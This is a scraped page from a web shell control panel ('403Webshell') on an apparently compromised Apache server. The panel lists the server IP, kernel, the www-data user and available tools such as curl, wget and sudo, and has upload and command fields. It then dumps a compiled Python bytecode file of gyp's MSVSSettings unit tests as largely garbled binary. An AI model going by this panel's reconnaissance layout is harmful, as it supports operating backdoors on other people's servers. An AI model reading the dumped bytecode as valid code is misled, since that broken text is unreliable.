403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/gyp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/gyp/__pycache__/MSVSSettings_test.cpython-312.pyc
�

�"Kb����dZ	ddlmZddlZddlmZGd�dej�Ze	dk(rej�yy#e$r	ddlmZY�DwxYw)z(Unit tests for the MSVSSettings.py file.�)�StringIONc�H�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zy)�TestSequenceFunctionsc�"�t�|_y)N)r�stderr��selfs �7/usr/lib/python3/dist-packages/gyp/MSVSSettings_test.py�setUpzTestSequenceFunctions.setUps���*�D�K�c��|jjd�|jj�jd�}|D�cgc]}|s�|��	}}|j	t|�t|��ycc}w)z-Compares recorded lines to expected warnings.r�
N)r�seek�read�split�assertEqual�sorted)r	�expected�actual�lines    r
�_ExpectedWarningsz'TestSequenceFunctions._ExpectedWarningssd���K�K���Q��
�[�[�
�
�
�
%�
%�d�
+�F�%�
.�t��d�
.�F�
.����V�H�%�v�f�~�6��/s�	A<�A<c�|�tjiiiiiiiid�|j�|jddg�y)z,Tests that only MSVS tool names are allowed.)�VCCLCompilerTool�VCLinkerTool�
VCMIDLTool�foo�VCResourceCompilerTool�VCLibrarianTool�VCManifestTool�	ClCompilezWarning: unrecognized tool fooz$Warning: unrecognized tool ClCompileN��MSVSSettings�ValidateMSVSSettingsrrrs r
�#testValidateMSVSSettings_tool_namesz9TestSequenceFunctions.testValidateMSVSSettings_tool_namessQ���%�%�����#%����	�	
���	�	���(�.�0�1rc��tjidd�dddg�dd�dd�d	d
�dd�d
d�dd�dd�dd�dd�dd�dd�dd�dd�dd�dd�idd�dd�d d�d!d�d"d#�d$d�d%d�d&d�d'd�d(d�d)d�d*d�d+d,�d-d,�d.d�d/d�d0d��id1d�d2d�d3d�d4d�d5d�d6d�d7d�d8d�d9d�d:d�d;d�d<d�d=d�d>d�d?d�d@d�dAd��ddddddddddddd#dB�
�idCd,�dDdE�dFd�dGd,�ddH�dId,�dJd�dKd�dLd,�dMdH�dNd�dOd�dPd�dQd�dRd,�dSd�dTd�idUd,�dVd�dWd�dXdH�d$d�dYd�dZd,�d[d�d\d�d]d�d^d�d_dH�d`dH�dad�dbd,�dcd�ddd��ided�dfd�dgd�dhd�did�djd�dkd�dld�dmd�dnd�dod�dpdH�dqd�drd�dsd�dtd�dud��idvd�dwd�dxd�dyd�dzd�d{d�d|d�d}d�d~d�ddH�d�dH�d�d�d�d�d�d�d�d�d�d�d�d��ddddd�dddddHd��
�idd�ddH�d�dH�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d0d�d�d�d�d�d#dHdddddddddddd��
�dHdd�dd#ddHdddd��
d,ddHddHdd,dddddd��id�d,�ddH�d�dH�d�d�d�d�d�d�d�dH�d�d�d�d�d�d�d�d�d�d�d�d�d�d��d�d�d�d�d�d�d�di�d��|j�|jgd���y�)�z%Tests that for invalid MSVS settings.�AdditionalIncludeDirectories�folder1;folder2�AdditionalOptions�string1�string2�AdditionalUsingDirectories�AssemblerListingLocation�a_file_name�AssemblerOutput�0�BasicRuntimeChecks�5�BrowseInformation�fdkslj�BrowseInformationFile�BufferSecurityCheck�true�CallingConventionz-1�	CompileAs�1�DebugInformationFormat�2�DefaultCharIsUnsigned�Detect64BitPortabilityProblems�DisableLanguageExtensions�DisableSpecificWarnings�string1;string2�EnableEnhancedInstructionSet�EnableFiberSafeOptimizations�EnableFunctionLevelLinking�EnableIntrinsicFunctions�
EnablePREfast�
Enableprefast�bogus�ErrorReporting�ExceptionHandling�ExpandAttributedSource�FavorSizeOrSpeed�FloatingPointExceptions�FloatingPointModel�ForceConformanceInForLoopScope�ForcedIncludeFiles�file1;file2�ForcedUsingFiles�GeneratePreprocessedFile�GenerateXMLDocumentationFiles�IgnoreStandardIncludePath�InlineFunctionExpansion�KeepComments�MinimalRebuild�
ObjectFile�OmitDefaultLibName�OmitFramePointers�OpenMP�Optimization�PrecompiledHeaderFile�PrecompiledHeaderThrough�PreprocessorDefinitions�ProgramDataBaseFileName�RuntimeLibrary�RuntimeTypeInfo�ShowIncludes�SmallerTypeCheck�
StringPooling)
�StructMemberAlignment�SuppressStartupBanner�TreatWChar_tAsBuiltInType�"UndefineAllPreprocessorDefinitions�UndefinePreprocessorDefinitions�UseFullPaths�UsePrecompiledHeader�UseUnicodeResponseFiles�WarnAsError�WarningLevel�WholeProgramOptimization�XMLDocumentationFileName�ZZXYZ�AdditionalDependencies�AdditionalDependencies_excluded�file3�AdditionalLibraryDirectories�AdditionalManifestDependencies�	a string1�AddModuleNamesToAssembly�AllowIsolation�
AssemblyDebug�AssemblyLinkResource�BaseAddress�CLRImageType�CLRThreadAttribute�CLRUnmanagedCodeCheck�DataExecutionPrevention�
DelayLoadDLLs�	DelaySign�Driver�EmbedManagedResourceFile�EnableCOMDATFolding�	EnableUAC�EntryPointSymbol�FixedBaseAddress�ForceSymbolReferences�
FunctionOrder�GenerateDebugInformation�GenerateManifest�GenerateMapFile�HeapCommitSize�HeapReserveSize�IgnoreAllDefaultLibraries�IgnoreDefaultLibraryNames�IgnoreEmbeddedIDL�IgnoreImportLibrary�
ImportLibrary�KeyContainer�KeyFile�LargeAddressAware�LinkIncremental�LinkLibraryDependencies�LinkTimeCodeGeneration�ManifestFile�
MapExports�MapFileName�MergedIDLBaseFileName�
MergeSections�MidlCommandFile�ModuleDefinitionFile�OptimizeForWindows98�OptimizeReferences�
OutputFile�PerUserRedirection�Profile�ProfileGuidedDatabase�ProgramDatabaseFile�RandomizedBaseAddress�RegisterOutput�ResourceOnlyDLL�SetChecksum�ShowProgress�StackCommitSize�StackReserveSize�StripPrivateSymbols�	SubSystem�SupportUnloadOfDelayLoadedDLLrg�
SwapRunFromCD�SwapRunFromNet�33�
�
TargetMachine�TerminalServerAware�TurnOffAssemblyGeneration�TypeLibraryFile�TypeLibraryResourceID�UACExecutionLevel�UACUIAccess�UseLibraryDependencyInputsrm�Version�CPreprocessOptions�DefaultCharType�DLLDataFileName�EnableErrorChecks�ErrorCheckAllocations�ErrorCheckBounds�ErrorCheckEnumRange�ErrorCheckRefPointers�ErrorCheckStubData�GenerateStublessProxies�GenerateTypeLibrary�HeaderFileName�InterfaceIdentifierFileName�MkTypLibCompatible)
�notgood�OutputDirectoryr_�
ProxyFileName�RedirectOutputAndErrorsrfrg�TargetEnvironment�TypeLibraryNamerj�ValidateParametersrnro�1003)
r(r&�CulturerT�notgood2r_�ResourceOutputFileNamer�rgrj)rsrvr(�ExportNamedFunctionsr�r��IgnoreSpecificDefaultLibrariesr�r�r�rgrm�AdditionalManifestFiles�AssemblyIdentity�ComponentFileName�DependencyInformationFile�GenerateCatalogFiles�InputResourceManifests�ManifestResourceFile�OutputManifestFile�RegistrarScriptFile�ReplacementsFiler��UpdateFileHashes�truel�UpdateFileHashesSearchPath�UseFAT32Workaroundrm�
VerboseOutput)rrrrrr)
z^Warning: for VCCLCompilerTool/BasicRuntimeChecks, index value (5) not in expected range [0, 4)zaWarning: for VCCLCompilerTool/BrowseInformation, invalid literal for int() with base 10: 'fdkslj'z^Warning: for VCCLCompilerTool/CallingConvention, index value (-1) not in expected range [0, 4)zZWarning: for VCCLCompilerTool/DebugInformationFormat, converted value for 2 not specified.z<Warning: unrecognized setting VCCLCompilerTool/Enableprefastz4Warning: unrecognized setting VCCLCompilerTool/ZZXYZzMWarning: for VCLinkerTool/TargetMachine, converted value for 2 not specified.z0Warning: unrecognized setting VCMIDLTool/notgoodz=Warning: unrecognized setting VCResourceCompilerTool/notgood2zHWarning: for VCManifestTool/UpdateFileHashes, expected bool; got 'truel'Nr!rs r
�!testValidateMSVSSettings_settingsz7TestSequenceFunctions.testValidateMSVSSettings_settings-sF	���%�%�@�*�,=�@��)�Y�!7�@�
)�*;�@�
'�
�	@�

�s�@�
!�#�
@�
 ��@�
$�]�@�
"�6�@�
 ��@�
��@�
%�c�@�
$�V�@�
-�f�@�
(��@� 
&�'8�!@�"
+�C�#@�$
+�F�%@�&
)�&�'@�(
'��)@�*
�V�+@�,
�W�-@�.
�c�/@�0
 ��1@�2
%�f�3@�4
��5@�6
&�v�7@�8
!�#�9@�:
-�f�;@�<
!�-�=@�>
�
�?@�@
'��A@�B
,�V�C@�D
(��E@�F
&�s�G@�H
�F�I@�J
�f�K@�L
�-�M@�N
!�&�O@�P
 ��Q@�R
�f�S@�T
�C�U@�V
$�]�W@�X
'�
�Y@�Z
&�'8�[@�\
&�}�]@�^
�c�_@�`
�v�a@�b
�F�c@�d
��e@�f
�V�g@�h&)�%+�)/�28�/@�"�$'�'-�!��(.�(5��A@�BN%�
%�}�N%�
.��N%�,�->�N%�.�}�	N%�
!�+�N%�(��
N%��v�N%��c�N%�$�]�N%��K�N%��S�N%�"�3�N%�%�f�N%�'��N%��m�N%� �&�!N%�"�s�#N%�$(��%N%�&#�C�'N%�(�&�)N%�* ��+N%�,�s�-N%�. ��/N%�0%�m�1N%�2�m�3N%�4(��5N%�6 ��7N%�8��9N%�:�{�;N%�<��=N%�>)�&�?N%�@)�-�AN%�B!�&�CN%�D#�F�EN%�F�m�GN%�H�]�IN%�J�
�KN%�L!�#�MN%�N��ON%�P'��QN%�R&�s�SN%�T�]�UN%�V�6�WN%�X�M�YN%�Z%�m�[N%�\�k�]N%�^�
�_N%�`$�]�aN%�b$�S�cN%�d"�3�eN%�f�=�gN%�h"�6�iN%�j��kN%�l%�m�mN%�n#�M�oN%�p%�c�qN%�r�v�sN%�t��uN%�v�F�wN%�x�S�yN%�z��{N%�| ��}N%�~#�M�N%�@�#�AN%�B-�f�CN%�D%�f�EN%�F�f�GN%�H�v�IN%�J"�$'�*0� -�&*�"%�"�+1�(.�#�]N%�^"�
+�->�"�
 �+�"�"�;�"���	"�
�
�"�!�#�
"�%�f�"� ��"�#�F�"�%�f�"�"�6�"�'��"�#�F�"��}�"�)�&�"� +�M�!"�""�6�#"�$ � +�(9�+�(5�&)�&,�"%� -�0A�#)�"� �="�@#.�->��*0� �(9�'2�#�&,�0A�
$C�(5�->�"-�%6�&1�*0�/<�(.�%2�(�&,�(.�0�&�
&�
�&�
 �+�&� ��&�!�-�	&�
)�-�&�$�V�
&�&�{�&�$�]�&�"�=�&�#�M�&� ��&�%�f�&��
�&� ��&�*�=�&� "�6�!&�"'��#&�$�f�%&�OY	'�t	
���w[�x	����
rc�:�tjidd�dddg�dd�dd�d	d
�dd�d
d�dd�dd�dd�dd�dd�dd�dd�dd�dd�dd�idd�d d�d!d�d"d#�d$d%�d&d'�d(d�d)d*�d+d�d,d-�d.d�d/d0�d1d0�d2d�d3d�d4d�d5d6��id7d�d8d�d9d�d:d�d;d�d<d�d=d�d>d?�d@dA�dBd�dCd�dDd�dEd�dFdG�dHd�dId�dJdK��idLd�dMdN�dOd�dPd�dQd�dRd�dSdT�dUd�dVdW�dXd�dYd�dZd�d[d�d\d�d]d�d^d�d_d`��ddd#da��idbd0�dcd�ddd0�ddG�ded0�dfd�dgdh�did0�djdG�dd�dkdl�dmdn�dodp�dqd�drds�dtd�dud0�idvd�dwdx�dyd0�dzd�d{d�d|dG�d}d�d~dn�dd0�d�d�d�d�d�d�d�dG�d�dG�d�d�d�d�d�d���id�d�d�d�d�d�d�d�d�d�d�d�d�d��d�d�d�d��d�d�d�d�d�d�d�d�d�dG�d�d�d�dG�d�d��id�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�dK�d�d�d�d��d�dG�d�dG�d�dG��id�d�d�d��d�d�d�d�dUd�d�d�d�d�d�d��d�d�dVdW�d�d�d�d�d�d�d�dK�d�d��d�d�d�dG��ddGd�ddddGdddWdd��idd�ddG�d�d�d�d�d�dG�d�dƓd�d�d�dɓd�d�d�d�d�d�d�d�d�d�d�dГd�dғd�d�d�d�id�d�d4d�d�d�d�dK�d�d�d�dG�dEd�d�d�d�d�d�d�dSdx�d�d�dUd�d�dߓdVdW�d�d�d�d��dddd�d��idbd0�dcd�ddG�d�dG�d$d�d�d�ddG�d�d�d�d0�d�d�d�dG�d�d�d�d�d�d�d�d0�d�d��dUd�d�dWdddd��id�d0�ddG�d�dG�d�d�d�d�d�d�d�d�d�dG�d�d�d�d#�d�d�d�dG�d�d�d�d�d�d�dUd�dVdW�ddddd���ddd��d�diddddd���d�	|j�|jg�d���y(z(Tests that for invalid MSBuild settings.r&r'r(r)r*r+r,r-r.�	NoListingr0�StackFrameRuntimeCheckr2�falser4r5r6�
BuildingInIDEr7�Cdeclr8�
CompileAsC�CompileAsManaged�CreateHotpatchableImager:�ProgramDatabaser>r?r@rA�StreamingSIMDExtensionsrBrErFrGrH�PromptrI�
SyncCThrowrJrK�NeitherrLrM�PreciserNrOrPrQ�FunctionLevelLinkingrSrTrU�OnlyExplicitInline�IntrinsicFunctionsrW�MultiProcessorCompilation�ObjectFileNamerYrZ�
OpenMPSupportr\�Disabled�PrecompiledHeader�NotUsingr]�PrecompiledHeaderOutputFile�PreprocessKeepCommentsr_�PreprocessOutputPathrx�PreprocessSuppressLineNumbers�PreprocessToFile�ProcessorNumberr�r`ra�
MultiThreadedrbrcrdrerf�1Byterg�TrackerLogDirectory�a_folder�TreatSpecificWarningsAsErrors�TreatWarningAsErrorrhrirjrk�UseUnicodeForAssemblerListingro�TurnOffAllWarnings)rprqrrrsrvrwryrzr{�r|r}r~�
ForceIJWImage�CLRSupportLastError�Enabledr�MTAThreadingAttributer��CreateHotPatchableImage�X86Imager�r�r�r��NotSetr�r�r�r�r��ForceFileOutputr�r�r�r�r�r�r�r�r��a_file_list�ImageHasSafeExceptionHandlersr�r�r�r��LinkDLL�LinkErrorReporting�SendErrorReport�
LinkStatusr��UseLinkTimeCodeGenerationr�r�r�r�r�r��MinimumRequiredVersionr��MSDOSStubFileName�NoEntryPointr�r�r��PreventDllBindingr�r�r�r�r��SectionAlignmentr�r��LinkVerboseREF�SpecifySectionAttributesr�r�r�r��Console�SupportNobindOfDelayLoadedDLLr�r��SwapRunFromNETr��
MachineX86r��TreatLinkerWarningAsErrorsr�r�r�r��	AsInvokerr�r��0x236)r&r(r�rT�NullTerminateStringsr_r�r�rgrrj�ApplicationConfigurationMode�ClientStubFiler�r��Signed�DllDataFileNamer��EnableCustomr�r�r�r�r��GenerateClientFiles�Stub�GenerateServerFiles�Noner�r�r�r��LocaleIDr�r�r�r��ServerStubFile�SuppressCompilerWarningsr��Itanium�
TypeLibFormat�	NewFormatr�r9)rj�ValidateAllParametersrnro�DisplayLibrary�PromptImmediatelyr��Name�
RemoveObjects�MachineX86i)r�r�TreatLibWarningAsErrorsrm�Verboser�r�r��EnableDPIAwareness�falr�r��GenerateCategoryTagsr��ManifestFromManagedAssembly�notgood3r��OutputResourceManifestsr�r��SuppressDependencyElement)r�r�r�r��r�r�r���
EmbedManifestr�r�r�)	r �Link�ResourceCompile�Midl�Lib�Manifest�ProjectReference�ManifestResourceCompiler)z5Warning: unrecognized setting ClCompile/Enableprefastz-Warning: unrecognized setting ClCompile/ZZXYZz/Warning: unrecognized setting Manifest/notgood3zFWarning: for Manifest/GenerateCatalogFiles, expected bool; got 'truel'zIWarning: for Lib/TargetMachine, unrecognized enumerated value MachineX86izBWarning: for Manifest/EnableDPIAwareness, expected bool; got 'fal'N)r"�ValidateMSBuildSettingsrrrs r
�$testValidateMSBuildSettings_settingsz:TestSequenceFunctions.testValidateMSBuildSettings_settingss����(�(�G�*�,=�G��)�Y�!7�G�
)�*;�G�
'�
�	G�

�{�G�
!�":�
G�
 ��G�
$�]�G�
"�6�G�
�V�G�
 ��G�
��G�
��G�
&�v�G�
%�&7�G� 
(��!G�"
&�'8�#G�$
+�,E�%G�&
+�F�'G�(
�V�)G�*
�W�+G�,
�h�-G�.
 ��/G�0
%�f�1G�2
�	�3G�4
&�v�5G�6
!�)�7G�8
-�f�9G�:
!�-�;G�<
�
�=G�>
#�G�?G�@
,�V�AG�B
(��CG�D
&�';�EG�F
!�'�GG�H
�f�IG�J
(��KG�L
�m�MG�N
!�&�OG�P
 ��QG�R
�V�SG�T
�J�UG�V
 ��WG�X
$�]�YG�Z
*�=�[G�\
%�f�]G�^
&�'8�_G�`
#�K�aG�b
,�W�cG�d
��eG�f
�t�gG�h
&�}�iG�j
�o�kG�l
�v�mG�n
�F�oG�p
��qG�r
�V�sG�t
$�W�uG�v
$�V�wG�x
"�:�yG�z
,�->�{G�|
"�6�}G�~
(��G�@
1�&�AG�B
.�/@�CG�D
�F�EG�F
,�V�GG�H
�0�IG�J)/�(5��OG�PU%�
%�}�U%�
+�->�U%�.�}�U%�!�+�	U%�
(��U%��v�
U%��b�U%�$�]�U%��K�U%��f�U%��_�U%�#�I�U%�"�#:�U%�%�f�U%�'�
�U%� '��!U%�"�m�#U%�$�&�%U%�&�x�'U%�((��)U%�*#�G�+U%�,�&�-U%�. ��/U%�0 ��1U%�2�	�3U%�4%�m�5U%�6�m�7U%�8(��9U%�:��;U%�<�{�=U%�>��?U%�@)�&�AU%�B!�&�CU%�D.�}�EU%�F-�f�GU%�H�m�IU%�J�]�KU%�L�
�MU%�N!�'�OU%�P��QU%�R"�#4�SU%�T�6�UU%�V&�'B�WU%�X�]�YU%�Z�6�[U%�\�M�]U%�^%�m�_U%�`�k�aU%�b�
�cU%�d&�{�eU%�f$�]�gU%�h!�-�iU%�j�V�kU%�l"�7�mU%�n�=�oU%�p"�6�qU%�r!�&�sU%�t��uU%�v%�m�wU%�x#�M�yU%�z%�g�{U%�|�v�}U%�~ ��U%�@�F�AU%�B�-�CU%�D(��EU%�F��GU%�H ��IU%�J#�M�KU%�L�)�MU%�N-�f�OU%�P-�f�QU%�R%�f�SU%�T�f�UU%�V�v�WU%�X�l�YU%�Z#�G�[U%�\#�J�]U%�^*�6�_U%�`)�&�aU%�b�
�cU%�d%�d�eU%�f!�+�gU%�h�F�iU%�j��kU%�n.?�"-��*0�%+�(9�'2�#�&,�$.�0A�C�&"�
+�->�&"�
 �+�&"�,�V�&"��}�	&"�
"�;�&"���
&"��
�&"�!�.�&"�%�f�&"� ��&"�#�F�&"�%�f�&"�"�6�&"�#�F�&"�#�F�&"� '��!&"�"#�F�#&"�$�}�%&"�&)�&�'&"�(+�M�)&"�*��+&"�,"�6�-&"�.��/&"�0'�(9�1&"�2�m�3&"�4'�
�5&"�6�}�7&"�8%�h�9&"�:(��;&"�<%�f�=&"�>!�)�?&"�@#�J�A&"�B�k�C&"�D�
�E&"�F1B�&,�"� �M&"�N �
%�}� �
+�->� �!�+� ��{�	 �
�2� �$�%6�
 �%�k� �)�&� �.�}� �&�v� �&�{� �$�]� ��]� ��=� ��m� � �)�! �"%�f�# �$,�$.�(.�(.��- �.&�
&�
�&�
 �+�&� ��&�!�-�	&�
"�5�&�$�W�
&�$�V�&�&�{�&�+�M�&���&�"�=�&�'��&�#�M�&� ��&�)�&�&� %�f�!&�"#�J�#&�$!.�!'�+8�$�+&�.)/�+1�3�&�}�%6�%�!'�$*� '�	)�GG	*�P	
���SI�T	���N�Orc��i}i}tj||j�}|j||�|j	g�y)zTests an empty conversion.N�r"�ConvertToMSBuildSettingsrrr�r	�
msvs_settings�expected_msbuild_settings�actual_msbuild_settingss    r
�"testConvertToMSBuildSettings_emptyz8TestSequenceFunctions.testConvertToMSBuildSettings_empty4sJ���M� "��*�C�C�������	���.�0G�H����2�rc��dddd�dddd�d�}ddd	d�d
ddd
�d�}tj||j�}|j||�|j	g�y)zTests a minimal conversion.�dir1z/foor/)r&r(r0r9r;)r�rHr�)rr�Defaultr!rBr6)r�rr�)r rRNr\r^s    r
�$testConvertToMSBuildSettings_minimalz:TestSequenceFunctions.testConvertToMSBuildSettings_minimal>s���-3�!'�"%��'*�!�'*��

�M�-3�!'�"+��'B�"5�'-��
!
��+�C�C�������	���.�0G�H����2�rc���ddddddd�dd	dd
d�dd
id�}ddd�iddid�}tj||j�}|j||�|j	gd��y)z)Tests conversion that generates warnings.r9r;�12�21�13�14)r&r(r0r2rlrR�10�31�6)r�r�rHr�r�r�)rrr)r&r(�0x03eb)r rRrS)zwWarning: while converting VCCLCompilerTool/BasicRuntimeChecks to MSBuild, index value (12) not in expected range [0, 4)zvWarning: while converting VCCLCompilerTool/BrowseInformation to MSBuild, index value (21) not in expected range [0, 3)zyWarning: while converting VCCLCompilerTool/UsePrecompiledHeader to MSBuild, index value (13) not in expected range [0, 3)zvWarning: while converting VCCLCompilerTool/GeneratePreprocessedFile to MSBuild, value must be one of [0, 1, 2]; got 14zgWarning: while converting VCLinkerTool/Driver to MSBuild, index value (10) not in expected range [0, 4)zwWarning: while converting VCLinkerTool/LinkTimeCodeGeneration to MSBuild, index value (31) not in expected range [0, 5)zoWarning: while converting VCLinkerTool/ErrorReporting to MSBuild, index value (21) not in expected range [0, 3)zpWarning: while converting VCLinkerTool/FixedBaseAddress to MSBuild, index value (6) not in expected range [0, 3)Nr\r^s    r
�%testConvertToMSBuildSettings_warningsz;TestSequenceFunctions.testConvertToMSBuildSettings_warnings^s���-0�!$�"&�!%�$(�(,�.��&*�"� #�%�
�v�#� �M�(-0�!$�&��
�x�!�!"��+�C�C�������	���.�0G�H����
�rc���idd�dd�dd�dd�dd	�d
d�dd
�dd�dd�dd	�dd�dd�dd�dd�dd�dd�dd	�idd�dd�dd�dd�dd�d d
�d!d�d"d	�d#d�d$d�d%d�d&d'�d(d'�d)d�d*d�d+d�d,d
��id-d�d.d�d/d�d0d�d1d�d2d�d3d4�d5d�d6d�d7d�d8d�d9d	�d:d�d;d�d<d�d=d�d>d��ddddddddd
ddd?��id@d'�dAd�dBd�dCd'�dd�dDd'�dEd�dFd	�dGd'�dHd�dId�dJd
�dKd�dLd	�dMd'�dNd�dOd�idPd'�dQd	�dRd�dSd�dd	�dTd�dUd'�dVd�dWd�dXd�dYd�dZd�d[d�d\d�d]d'�d^d�d_d��id`d�dad�dbd�dcd
�ddd�ded�dfd
�dgd�dhd�did�djd�dkd�dld�dmd�dnd�dod	�dpd��idqd�drd�dsd�dtd�dud�dvd�dwd�dxd�dyd	�dzd�d{d�d|d�d}d
�d~d�dd�d�d�d�d��d4d
ddd�ddd�ddd��
�ddd�ddddddd��	idd�dd�d�d�d�d	�d�d�d�d
�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d+d�d�d�d�d�ddddd4dddddddd���d'ddddddd'dddddd��
id�d'�dd�d�d�d�d�d�d�d�d�d�d�d�d�d�d��d�d�d�d�d�d�dd�d�d�d�d�d�d�d�d�ddd���d��}idd�dd��dd�dd�dd��d
d��dd�dd�dd�dd��dd��dd��dd�dd�dd��dd�dd�idd��d d��d!d�d"d��d#d�d$d��d%d�d&d'�d(d'�d�d�d*d�d+d�d,d��d�d�d.d�d�d�d0d��id1d�d�d�d3d��d�d��d5d�d�d�d�d�d7d�d�d��d�d�d8d�d9d��d:d�d;d�d<d�d=d�d>d���ddddddd�dddÜ	�id@d'�dAd�dCd'�dd�dDd'�dEd�dFdēdGd'�dHd�dIdœdJdƓdKd�dLdēdMd'�dNd�dOdO�dPd'�idQdēdRd�dSd�dTd��dUd'�dVd�dWd�dYd�dZd�d[d�d\d�d^d�d�d'�d`d�dad�dbd�dcd��id�dɓdfdʓdgd�dhd�did�djd�dkd�dld�dmd�d�d�dodēdpd�dqd�drd�dsd�dtd�dud���idvd�dxd�dyd��dzd�d{d�d|d�d}d̓d~d�dd�d�d�d�d�d�dϓd�d�d�d�d�d�d�d��d�dԓ�ddd՜�ddd�ddddddd��	idd�dd�d�d�d�dדd�d�d�dٓd�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d+d�d�d�d�d�ddddddd�ddddddۜ�d'dddddd'dddddܜd'ddddddddddddddݜd�d�idd�dߜdddd�d�d�	}tj||j�}|j||�|j	g�y�)�z-Tests conversion of all the MSBuild settings.r&zfolder1;folder2;folder3r(�a_stringr+r,r-r.r/r0r9r2r;r4r5r6r7r8r:�4r<r=r>r?zd1;d2;d3rArBrCrDrErHrIrJrKrLrMrNrOzfile1;file2;file3rQrRrSrTrUrVrWrXrYrZr[r\�3r]r^r_r`rarbrcrdrerf�rgrhrirjrkrlrmrnrorprqrsrv�%AdditionalLibraryDirectories_excludedrwryrzr{r|r}r~rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rgr�r�r�r�r�r�)	r&r(r�rTr_r�r�rgrjr�r�r�r�r�r�r�r�r�r�r�r�r�r�)r�r_r�r�rfrgr�r�rjr�rnro)
rsrvrvr(r�r�r�r�r�r�r�rgrmr�r�r�r�rQr�r�r��my_namer�r�r�r�r�r�r��rmr�)rrrrrrza_string /Jr�r�r�r��EditAndContinuerr��Asyncr��Strictr��AnySuitabler�r�r�Fullr�Createrrrrr
r�Level2�	rgrrhrirjrkrorprqrr�STAThreadingAttributer�r�
NoErrorReport�PGInstrumentr$�Windowsr+r��
MachineARMr�r�r�r��HighestAvailable�r�r�ro�Unsignedr4�All�Win32)r�r_r�r�rfrgr�r�rjr@rnro)rsrvr(r�r�r�r�r�r�rgrm�r�r(r�r�r�r�r�r�r�rgr�r�r�r�r�rOrP)	r rRrSrTrUrVrXrWrNr\r^s    r
�+testConvertToMSBuildSettings_full_syntheticzATestSequenceFunctions.testConvertToMSBuildSettings_full_synthetic�s_��>7�*�,E�>7���>7�
)�*C�>7�
'�
�	>7�

�s�>7�
!�#�
>7�
 ��>7�
$�]�>7�
"�6�>7�
 ��>7�
��>7�
%�c�>7�
$�V�>7�
-�f�>7�
(��>7� 
&�z�!>7�"
+�C�#>7�$
+�F�%>7�&
)�&�'>7�(
'��)>7�*
�V�+>7�,
�c�->7�.
 ��/>7�0
%�f�1>7�2
��3>7�4
&�v�5>7�6
!�#�7>7�8
-�f�9>7�:
!�"5�;>7�<
� 3�=>7�>
'��?>7�@
,�V�A>7�B
(��C>7�D
&�s�E>7�F
�F�G>7�H
�f�I>7�J
�-�K>7�L
!�&�M>7�N
 ��O>7�P
�f�Q>7�R
�C�S>7�T
$�]�U>7�V
'�
�W>7�X
&�z�Y>7�Z
&�}�[>7�\
�c�]>7�^
�v�_>7�`
�F�a>7�b
��c>7�d
�V�e>7�f
$�S�g>7�h&,�)/�28�/9�"�$'�'-�!��(.�(5�}>7�~N#�$�&9�N#�*�,E�N#�
4�5N�N#�
-�.A�	N#�

 ��N#�
'�(;�
N#�
�f�N#�
�S�N#�
#�$7�N#�
�:�N#�
�C�N#�
!�#�N#�
$�V�N#�
&�s�N#�
�0�N#� 
��!N#�"
�c�#N#�$
'�(;�%N#�&
"�3�'N#�(
��)N#�*
�
�+N#�,
�c�-N#�.
��/N#�0
$�%8�1N#�2
�]�3N#�4
'��5N#�6
��7N#�8
�v�9N#�:
�j�;N#�<
�z�=N#�>
(��?N#�@
(�)<�AN#�B
 ��CN#�D
"�6�EN#�F
�]�GN#�H
�M�IN#�J
�}�KN#�L
 ��MN#�N
�s�ON#�P
&�v�QN#�R
%�c�SN#�T
�M�UN#�V
�&�WN#�X
�=�YN#�Z
$�]�[N#�\
�Z�]N#�^
�}�_N#�`
#�M�aN#�b
#�C�cN#�d
!�#�eN#�f
�-�gN#�h
!�&�iN#�j
�v�kN#�l
$�]�mN#�n
"�=�oN#�p
$�S�qN#�r
�f�sN#�t
�v�uN#�v
�6�wN#�x
�C�yN#�z
�z�{N#�|
�
�}N#�~
"�=�N#�@
��AN#�B
,�V�CN#�D
$�V�EN#�F
�V�GN#�H
�f�IN#�J!�#&�)/�,�%)�!$�!�*1�'-�!�]N#�`-F�!+��)/�'1�&0�"�%+�/9�	#;�!�*�,E�!���!�
!�*�!�
�s�	!�

�}�!�
 ��
!�
$�V�!�
��!�
"�6�!�
$�V�!�
!�&�!�
&�v�!�
"�6�!�
�m�!�
(��!� 
*�=�!!�"
!�&�#!�$ *�'1�*�'4�%(�%+�!$�,�/9�"(�!��;!�>':�,E�5N�!+�$.�%/�)/�.A�'-�$1�'�%+�'-�
/�%�%�':�%���%�
�
�%�
 ��	%�

(��%�
�V�
%�
#�F�%�
%�j�%�
#�I�%�
!�-�%�
"�=�%�
�
�%�
$�V�%�
�}�%�
��%� 
)�-�!%�"
!�&�#%�$(.�#�'%�KX&�M�t<7�*�,E�<7���<7�
)�*C�<7�
'�
�	<7�

�{�<7�
!�":�
<7�
 ��<7�
$�]�<7�
"�6�<7�
 ��<7�
��<7�
%�&7�<7�
(��<7�
&�z�<7�
+�H�<7� 
+�F�!<7�"
�V�#<7�$
�h�%<7�&
 ��'<7�(
%�f�)<7�*
�	�+<7�,
&�v�-<7�.
!�(�/<7�0
-�f�1<7�2
!�"5�3<7�4
� 3�5<7�6
#�F�7<7�8
,�V�9<7�:
(��;<7�<
&�}�=<7�>
!�&�?<7�@
�f�A<7�B
�m�C<7�D
!�&�E<7�F
 ��G<7�H
�V�I<7�J
�F�K<7�L
 ��M<7�N
$�]�O<7�P
*�=�Q<7�R
%�f�S<7�T
&�z�U<7�V
,�W�W<7�X
��Y<7�Z
&�}�[<7�\
�o�]<7�^
�v�_<7�`
�F�a<7�b
